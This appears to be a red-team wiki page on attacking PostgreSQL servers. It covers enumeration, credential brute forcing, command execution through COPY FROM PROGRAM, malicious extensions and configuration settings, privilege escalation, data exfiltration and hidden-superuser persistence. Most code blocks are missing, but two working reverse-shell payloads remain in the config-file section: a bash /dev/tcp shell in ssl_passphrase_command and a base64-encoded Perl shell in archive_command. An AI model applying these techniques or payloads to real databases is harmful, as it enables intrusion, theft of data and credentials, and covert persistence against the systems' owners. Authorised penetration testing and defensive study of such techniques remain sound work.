Postgresql - PORT 5432,5433

Basic info

PostgreSQL is one of the most widely deployed open-source relational databases. By default, it listens on TCP port 5432. If that port is already in use, PostgreSQL often binds to 5433.

For a red teamer, both ports are high-value reconnaissance targets. PostgreSQL is frequently misconfigured, exposed to the internet, or deployed with weak authentication. Once inside, its deep integration with the underlying OS provides direct paths to privilege escalation and remote code execution (RCE).

This guide dives into discovery, exploitation, privilege escalation, and post-exploitation techniques, tailored for offensive operators and red team professionals.


Enumeration

Service Fingerprinting

Look for:

  • Version (PostgreSQL has had multiple RCE and auth bypass CVEs).

  • Whether both 5432 and 5433 are open โ†’ multiple clusters or fallback instances.

Manual Connection

If a password prompt appears, the service is reachable and authenticating.

Automated enumeration

MSF console

Beyond traditional tools like nmap, PostgreSQL itself can be abused for port scanning using the dblink extension. When attempting to connect to remote hosts via dblink_connect, PostgreSQL throws detailed error messages that reveal the state of the target port.

For example:

Depending on the response, an attacker can infer network conditions:

  • Host down

  • Port closed

  • Port open (authentication fails)

  • Port open or filtered (timeout)

Although PL/pgSQL functions cannot capture these exceptions directly, an attacker with database access can run dblink queries manually to fingerprint internal networks. When combined with wordlist attacks against PostgreSQL system tables (e.g., pg_shadow), this technique can uncover both live services and valid credentials, making it a valuable red team tactic for lateral movement.


Enumeration of Privileges

Once credentials are obtained, understanding roles and privileges is critical for identifying escalation paths. In PostgreSQL, users, groups, and roles are essentially the same conceptโ€”what matters is whether they can log in and what privileges they inherit.

Role Types

  • rolsuper โ†’ Superuser privileges (full control).

  • rolinherit โ†’ Inherits privileges of roles it belongs to.

  • rolcreaterole โ†’ Can create additional roles.

  • rolcreatedb โ†’ Can create databases.

  • rolcanlogin โ†’ Login-enabled role (acts like a user).

  • rolreplication โ†’ Can initiate replication and manage replication slots.

  • rolconnlimit โ†’ Connection limit (-1 = unlimited).

  • rolvaliduntil โ†’ Password expiry date.

  • rolbypassrls โ†’ Bypasses row-level security.

  • rolconfig โ†’ Role-specific runtime configs.

Interesting Groups

Membership in certain groups allows direct OS interaction:

  • pg_execute_server_program โ†’ Run OS commands with COPY FROM PROGRAM.

  • pg_read_server_files โ†’ Read arbitrary files.

  • pg_write_server_files โ†’ Write files to disk.

๐Ÿ’ก Red team tip: Chaining pg_read_server_files + pg_write_server_files can often lead to config file tampering โ†’ RCE.

Role & Group Enumeration

Role Manipulation

โš ๏ธ Attempting privilege escalation often fails if you are not already in the target group or a superuser. But on misconfigured systems, this is a direct privesc vector.

Table Privileges

Function Enumeration

Functions in pg_catalog often enable file or command interaction:

๐Ÿ”‘ Why this matters: Identifying roles, groups, and functions often reveals a hidden escalation pathโ€”for example, a non-superuser role with membership in pg_execute_server_program is essentially equivalent to OS-level RCE.


Authentication Attacks

Brute Force

Default creds


Post-Authentication Enumeration

Once valid credentials are obtained, start deep enumeration:

circle-exclamation

Extracted password hashes can be cracked with Hashcat or John.

Exploitation

File Read

Remember that if you aren't super user but has the CREATEROLE permissions you can make yourself member of that group:

There are other postgres functions that can be used to read file or list a directory. Only superusers and users with explicit permissions can use them:

You can find more functions in https://www.postgresql.org/docs/current/functions-admin.htmlarrow-up-right

File Write

circle-exclamation

Updating PostgreSQL Table Data via Local File Write (Filenode Abuse)

If a PostgreSQL role has read and write access to server files, an attacker can directly modify filenodes in the PostgreSQL data directory to overwrite table contents, escalate privileges, or even become a superuser. This technique is particularly powerful in constrained SQLi contexts, since it relies on database-native functions (lo_import, lo_export) rather than direct shell commands.

Attack Flow

1. Identify Data Directory

If unavailable, extract the version:

and brute-force the directory path. Typical paths:

2. Get Target Table Filenode Path

Returns something like:

โ†’ Full path: /var/lib/postgresql/13/main/base/3/1337

3. Dump the Filenode with lo_import

4. Extract Table Datatypes

5. Modify Filenode

Use PostgreSQL Filenode Editor to edit role flags:

Set all rol* flags to 1 (true) to escalate privileges.

6. Re-Upload Edited Filenode

7. Clear Cache (Optional)

After this, the modified table values take effect.

  • Any role data (passwords, privileges) can be manipulated offline.

  • Attackers can set themselves as superuser by editing pg_authid.

  • This effectively bypasses SQL privilege checks โ€” the DB trusts the modified file.

Command Execution

Since PostgreSQL 9.3, the database introduced the ability to use COPY FROM PROGRAM for interacting with the operating system. By design, this is only available to superusers or members of the pg_execute_server_program role. But from a red team perspective, this feature is effectively a built-in RCE primitive.

1. Exfiltration Example

This abuses COPY to spawn a shell command that sends file data back to a controlled server.


2. Proof-of-Concept Command Execution


3. Reverse Shell Payload

Once executed, this will connect back to the attackerโ€™s listener (nc -lvnp 80) and provide an interactive shell.


4. Escalation with CREATEROLE

If you donโ€™t already have the pg_execute_server_program privilege, but do have CREATEROLE, you can grant it to yourself:

This often turns what looks like a restricted user into a full OS-level RCE capability.


5. Metasploit Automation

Metasploit includes a ready-made module for this technique:

RCE techniques

RCE to program

Since version 9.3arrow-up-right, only super users and member of the group pg_execute_server_program can use copy for RCE (example with exfiltration:

Example to exec:

Or use the multi/postgres/postgres_copy_from_program_cmd_exec module from metasploit. More information about this vulnerability herearrow-up-right. While reported as CVE-2019-9193, Postges declared this was a feature and will not be fixedarrow-up-right.

Privilege Escalation (CREATEROLE Abuse)

RCE via Extensions

PostgreSQL has been developed with extensibility as a core feature, allowing it to seamlessly integrate extensions as if they were built-in functionalities. These extensions, essentially libraries written in C, enrich the database with additional functions, operators, or types.

From version 8.1 onwards, a specific requirement is imposed on the extension libraries: they must be compiled with a special header. Without this, PostgreSQL will not execute them, ensuring only compatible and potentially secure extensions are used.

RCE in Linux

For more information check: https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/arrow-up-right

The execution of system commands from PostgreSQL 8.1 and earlier versions is a process that has been clearly documented and is straightforward. It's possible to use this: Metasploit modulearrow-up-right.

Write binary file using base64

However, when attempted on greater versions the following error was shown:

This error is explained in the PostgreSQL documentationarrow-up-right:

To ensure that a dynamically loaded object file is not loaded into an incompatible server, PostgreSQL checks that the file contains a โ€œmagic blockโ€ with the appropriate contents. This allows the server to detect obvious incompatibilities, such as code compiled for a different major version of PostgreSQL. A magic block is required as of PostgreSQL 8.2. To include a magic block, write this in one (and only one) of the module source files, after having included the header fmgr.h:

#ifdef PG_MODULE_MAGIC PG_MODULE_MAGIC; #endif

Since PostgreSQL version 8.2, the process for an attacker to exploit the system has been made more challenging. The attacker is required to either utilize a library that is already present on the system or to upload a custom library. This custom library must be compiled against the compatible major version of PostgreSQL and must include a specific "magic block". This measure significantly increases the difficulty of exploiting PostgreSQL systems, as it necessitates a deeper understanding of the system's architecture and version compatibility.

Compile the library

Get the PsotgreSQL version with:

For compatibility, it is essential that the major versions align. Therefore, compiling a library with any version within the 9.6.x series should ensure successful integration.

To install that version in your system:

And compile the library:

Then upload the compiled library and execute commands with:

You can find this library precompiled to several different PostgreSQL versions and even can automate this process (if you have PostgreSQL access) with pgexecarrow-up-right.


RCE in Windows

The following DLL takes as input the name of the binary and the number of times you want to execute it and executes it:

You can find the DLL compiled in this zip:

file-archive
4KB

You can indicate to this DLL which binary to execute and the number of time to execute it, in this example it will execute calc.exe 2 times:

In here arrow-up-rightyou can find this reverse-shell:

Note how in this case the malicious code is inside the DllMain function. This means that in this case it isn't necessary to execute the loaded function in postgresql, just loading the DLL will execute the reverse shell:

The PolyUDF projectarrow-up-right is also a good starting point with the full MS Visual Studio project and a ready to use library (including: command eval, exec and cleanup) with multiversion support.

RCE in newest Prostgres versions

In the latest versions of PostgreSQL, restrictions have been imposed where the superuser is prohibited from loading shared library files except from specific directories, such as C:\Program Files\PostgreSQL\11\lib on Windows or /var/lib/postgresql/11/lib on *nix systems. These directories are secured against write operations by either the NETWORK_SERVICE or postgres accounts.

Despite these restrictions, it's possible for an authenticated database superuser to write binary files to the filesystem using "large objects." This capability extends to writing within the C:\Program Files\PostgreSQL\11\data directory, which is essential for database operations like updating or creating tables.

A significant vulnerability arises from the CREATE FUNCTION command, which permits directory traversal into the data directory. Consequently, an authenticated attacker could exploit this traversal to write a shared library file into the data directory and then load it. This exploit enables the attacker to execute arbitrary code, achieving native code execution on the system.

Attack flow

chevron-rightFirst of all you need to use large objects to upload the dll. hashtag

PostgreSQL Large Objects

PostgreSQL offers a structure known as large objects, accessible via the pg_largeobject table, designed for storing large data types, such as images or PDF documents. This approach is advantageous over the COPY TO function as it enables the exportation of data back to the file system, ensuring an exact replica of the original file is maintained.

For storing a complete file within this table, an object must be created in the pg_largeobject table (identified by a LOID), followed by the insertion of data chunks, each 2KB in size, into this object. It is crucial that these chunks are exactly 2KB in size (with the possible exception of the last chunk) to ensure the exporting function performs correctly.

To divide your binary data into 2KB chunks, the following commands can be executed:

For encoding each file into Base64 or Hex, the commands below can be used:

Important: When automating this process, ensure to send chunks of 2KB of clear-text bytes. Hex encoded files will require 4KB of data per chunk due to doubling in size, while Base64 encoded files follow the formula ceil(n / 3) * 4.

The contents of the large objects can be viewed for debugging purposes using:

Using lo_creat & Base64

To store binary data, a LOID is first created:

In situations requiring precise control, such as exploiting a Blind SQL Injection, lo_create is preferred for specifying a fixed LOID.

Data chunks can then be inserted as follows:

To export and potentially delete the large object after use:

Using lo_import & Hex

The lo_import function can be utilized to create and specify a LOID for a large object:

Following object creation, data is inserted per page, ensuring each chunk does not exceed 2KB:

To complete the process, the data is exported and the large object is deleted:

Limitations

It's noted that large objects may have ACLs (Access Control Lists), potentially restricting access even to objects created by your user. However, older objects with permissive ACLs may still be accessible for content exfiltration.

Once you have uploaded the extension (with the name of poc.dll for this example) to the data directory you can load it with:

Note that you don't need to append the .dll extension as the create function will add it.

For more information read the original publication herearrow-up-right. In that publication this was the code use to generate the postgres extensionarrow-up-right (to learn how to compile a postgres extension read any of the previous versions). In the same page this exploit to automate this technique was given:


PostgreSQL configuration file RCE

The configuration file of PostgreSQL is writable by the postgres user, which is the one running the database, so as superuser, you can write files in the filesystem, and therefore you can overwrite this file.

RCE with ssl_passphrase_command

More information about this technique herearrow-up-right.

The configuration file have some interesting attributes that can lead to RCE:

  • ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key' Path to the private key of the database

  • ssl_passphrase_command = '' If the private file is protected by password (encrypted) postgresql will execute the command indicated in this attribute.

  • ssl_passphrase_command_supports_reload = off If this attribute is on the command executed if the key is protected by password will be executed when pg_reload_conf() is executed.

Then, an attacker will need to:

  1. Dump private key from the server

  2. Encrypt downloaded private key:

    1. rsa -aes256 -in downloaded-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key

  3. Overwrite

  4. Dump the current postgresql configuration

  5. Overwrite the configuration with the mentioned attributes configuration:

    1. ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'

    2. ssl_passphrase_command_supports_reload = on

  6. Execute pg_reload_conf()

While testing this I noticed that this will only work if the private key file has privileges 640, it's owned by root and by the group ssl-cert or postgres (so the postgres user can read it), and is placed in /var/lib/postgresql/12/main.

RCE with archive_command

Another attribute in the configuration file that is exploitable is archive_command.

For this to work, the archive_mode setting has to be 'on' or 'always'. If that is true, then we could overwrite the command in archive_command and force it to execute via the WAL (write-ahead logging) operations.

The general steps are:

  1. Check whether archive mode is enabled: SELECT current_setting('archive_mode')

  2. Overwrite archive_command with the payload. For eg, a reverse shell: archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'

  3. Reload the config: SELECT pg_reload_conf()

  4. Force the WAL operation to run, which will call the archive command: SELECT pg_switch_wal() or SELECT pg_switch_xlog() for some Postgres versions

RCE with preload libraries

More information about this technique herearrow-up-right.

This attack vector takes advantage of the following configuration variables:

  • session_preload_libraries -- libraries that will be loaded by the PostgreSQL server at the client connection.

  • dynamic_library_path -- list of directories where the PostgreSQL server will search for the libraries.

We can set the dynamic_library_path value to a directory, writable by the postgres user running the database, e.g., /tmp/ directory, and upload a malicious .so object there. Next, we will force the PostgreSQL server to load our newly uploaded library by including it in the session_preload_libraries variable.

The attack steps are:

  1. Download the original postgresql.conf

  2. Include the /tmp/ directory in the dynamic_library_path value, e.g. dynamic_library_path = '/tmp:$libdir'

  3. Include the malicious library name in the session_preload_libraries value, e.g. session_preload_libraries = 'payload.so'

  4. Check major PostgreSQL version via the SELECT version() query

  5. Compile the malicious library code with the correct PostgreSQL dev package Sample code:

    Compiling the code:

  6. Upload the malicious postgresql.conf, created in steps 2-3, and overwrite the original one

  7. Upload the payload.so from step 5 to the /tmp directory

  8. Reload the server configuration by restarting the server or invoking the SELECT pg_reload_conf() query

  9. At the next DB connection, you will receive the reverse shell connection.

RCE with PostgreSQL Languages

chevron-rightPostgreSQL Languageshashtag

The PostgreSQL database you got access to may have different scripting languages installed that you could abuse to execute arbitrary code.

You can get them running:

Most of the scripting languages you can install in PostgreSQL have 2 flavours: the trusted and the untrusted. The untrusted will have a name ended in "u" and will be the version that will allow you to execute code and use other interesting functions. This are languages that if installed are interesting:

  • plpythonu

  • plpython3u

  • plperlu

  • pljavaU

  • plrubyu

  • ... (any other programming language using an insecure version)

If you find that an interesting language is installed but untrusted by PostgreSQL (lanpltrusted is false) you can try to trust it with the following line so no restrictions will be applied by PostgreSQL:

If you don't see a language, you could try to load it with (you need to be superadmin):

Note that it's possible to compile the secure versions as "unsecure". Check thisarrow-up-right for example. So it's always worth trying if you can execute code even if you only find installed the trusted one.

plpythonu/plpython3u

RCE

Get OS user

List dir

Find W folder

Find File

Find Exec files

Find exec by subs

Read

Get perms

Requests


Privilege escalation

CREATEROLE Privesc

According to the docsarrow-up-right: Roles having CREATEROLE privilege can grant or revoke membership in any role that is not a superuser.

So, if you have CREATEROLE permission you could grant yourself access to other roles (that aren't superuser) that can give you the option to read & write files and execute commands:

Modify Password

Users with this role can also change the passwords of other non-superusers:

Privesc to SUPERUSER

It's pretty common to find that local users can login in PostgreSQL without providing any password. Therefore, once you have gathered permissions to execute code you can abuse these permissions to gran you SUPERUSER role:

ALTER TABLE privesc

In this writeuparrow-up-right is explained how it was possible to privesc in Postgres GCP abusing ALTER TABLE privilege that was granted to the user.

When you try to make another user owner of a table you should get an error preventing it, but apparently GCP gave that option to the not-superuser postgres user in GCP:

Joining this idea with the fact that when the INSERT/UPDATE/ANALYZEarrow-up-right commands are executed on a table with an index function, the function is called as part of the command with the table ownerโ€™s permissions. It's possible to create an index with a function and give owner permissions to a super user over that table, and then run ANALYZE over the table with the malicious function that will be able to execute commands because it's using the privileges of the owner.

Exploitation

  1. Start by creating a new table.

  2. Insert some irrelevant content into the table to provide data for the index function.

  3. Develop a malicious index function that contains a code execution payload, allowing for unauthorized commands to be executed.

  4. ALTER the table's owner to "cloudsqladmin," which is GCP's superuser role exclusively used by Cloud SQL to manage and maintain the database.

  5. Perform an ANALYZE operation on the table. This action compels the PostgreSQL engine to switch to the user context of the table's owner, "cloudsqladmin." Consequently, the malicious index function is called with the permissions of "cloudsqladmin," thereby enabling the execution of the previously unauthorized shell command.

In PostgreSQL, this flow looks something like this:

Then, the shell_commands_results table will contain the output of the executed code:

Local Login

Some misconfigured postgresql instances might allow login of any local user, it's possible to local from 127.0.0.1 using the dblink function:

Note that for the previous query to work the function dblink needs to exist. If it doesn't you could try to create it with

If you have the password of a user with more privileges, but the user is not allowed to login from an external IP you can use the following function to execute queries as that user:

It's possible to check if this function exists with:

Custom defined function with SECURITY DEFINER

In this writeuparrow-up-right, pentesters were able to privesc inside a postgres instance provided by IBM, because they found this function with the SECURITY DEFINER flag:

As explained in the docsarrow-up-right a function with SECURITY DEFINER is executed with the privileges of the user that owns it. Therefore, if the function is vulnerable to SQL Injection or is doing some privileged actions with params controlled by the attacker, it could be abused to escalate privileges inside postgres.

In the line 4 of the previous code you can see that the function has the SECURITY DEFINER flag.

And then execute commands:

chevron-rightPL/pgSQL Password Bruteforcehashtag

PL/pgSQL is a fully featured programming language that extends beyond the capabilities of SQL by offering enhanced procedural control. This includes the utilization of loops and various control structures. Functions crafted in the PL/pgSQL language can be invoked by SQL statements and triggers, broadening the scope of operations within the database environment.

You can abuse this language in order to ask PostgreSQL to brute-force the users credentials, but it must exist on the database. You can verify it's existence using:

By default, creating functions is a privilege granted to PUBLIC, where PUBLIC refers to every user on that database system. To prevent this, the administrator could have had to revoke the USAGE privilege from the PUBLIC domain:

In that case, our previous query would output different results:

Note that for the following script to work the function dblink needs to exist. If it doesn't you could try to create it with

Password Brute Force

Here how you could perform a 4 chars password bruteforce:

Note that even brute-forcing 4 characters may take several minutes.

You could also download a wordlist and try only those passwords (dictionary attack):

Find more information about these attack in the original paperarrow-up-right.

Privesc by Overwriting Internal PostgreSQL Tables

The following privesc vector is especially useful in constrained SQLi contexts, as all steps can be performed through nested SELECT statements

If you can read and write PostgreSQL server files, you can become a superuser by overwriting the PostgreSQL on-disk filenode, associated with the internal pg_authid table.

Read more about this technique herearrow-up-right.

The attack steps are:

  1. Obtain the PostgreSQL data directory

  2. Obtain a relative path to the filenode, associated with the pg_authid table

  3. Download the filenode through the lo_* functions

  4. Get the datatype, associated with the pg_authid table

  5. Use the PostgreSQL Filenode Editorarrow-up-right to edit the filenodearrow-up-right; set all rol* boolean flags to 1 for full permissions.

  6. Re-upload the edited filenode via the lo_* functions, and overwrite the original file on the disk

  7. (Optionally) Clear the in-memory table cache by running an expensive SQL query

  8. You should now have the privileges of a full superadmin.


POST Exploitation

Using MSF modules

logging

Inside the postgresql.conf file you can enable postgresql logs changing:

Then, restart the service.

pgadmin

pgadminarrow-up-right is an administration and development platform for PostgreSQL. You can find passwords inside the pgadmin4.db file You can decrypt them using the decrypt function inside the script: https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.pyarrow-up-right

pg_hba

Client authentication in PostgreSQL is managed through a configuration file called pg_hba.conf. This file contains a series of records, each specifying a connection type, client IP address range (if applicable), database name, user name, and the authentication method to use for matching connections. The first record that matches the connection type, client address, requested database, and user name is used for authentication. There is no fallback or backup if authentication fails. If no record matches, access is denied.

The available password-based authentication methods in pg_hba.conf are md5, crypt, and password. These methods differ in how the password is transmitted: MD5-hashed, crypt-encrypted, or clear-text. It's important to note that the crypt method cannot be used with passwords that have been encrypted in pg_authid.

Privilege Escalation via Roles

  • Abuse CREATEROLE:

  • Create a new privileged role:


File System Looting

  • Read sensitive files (if pg_read_server_files is available):

  • Dump SSH keys, configs, or application secrets from /home or /etc.


RCE Persistence

  • Use COPY FROM PROGRAM for command execution:

  • Or backdoor via malicious PostgreSQL extensions (.so files loaded with CREATE EXTENSION).


Pivoting / Internal Recon

  • Use dblink for internal port scanning:

  • Enumerate other databases / internal services reachable from the DB host.


Data Exfiltration

  • Dump tables of interest:

  • Encode and exfiltrate via HTTP (if outbound allowed):


Filenode Abuse

  • Modify system tables by editing filenodes:

    • Extract pg_authid filenode.

    • Set your role to rolsuper = true.

    • Re-import โ†’ instant superuser escalation.


Config File Backdooring

  • Overwrite postgresql.conf with malicious settings:

  • Reload:


Cloud-Specific Post-Exploitation

  • AWS RDS: Look for rdsadmin DB โ†’ often exposes internal AWS metadata APIs.

  • GCP CloudSQL: Abuse ANALYZE + ALTER TABLE to execute as cloudsqladmin.

  • Azure Database for PostgreSQL: Look for misconfigured SECURITY DEFINER functions.


Credential Harvesting from Applications

  • Search for hardcoded DB creds in:

    • /var/www/html/config.php

    • /etc/postgresql/*/main/pg_hba.conf

    • /etc/environment or .env files

If pgAdmin is installed (like you noted):

Decrypt stored passwords using the crypto.py script.


Establishing Persistence

  • Create a hidden superuser:

  • Hide it by modifying audit/logging configs to exclude the new user.

  • Alternatively, implant a malicious trigger that re-creates the backdoor user if deleted.

circle-check

Last updated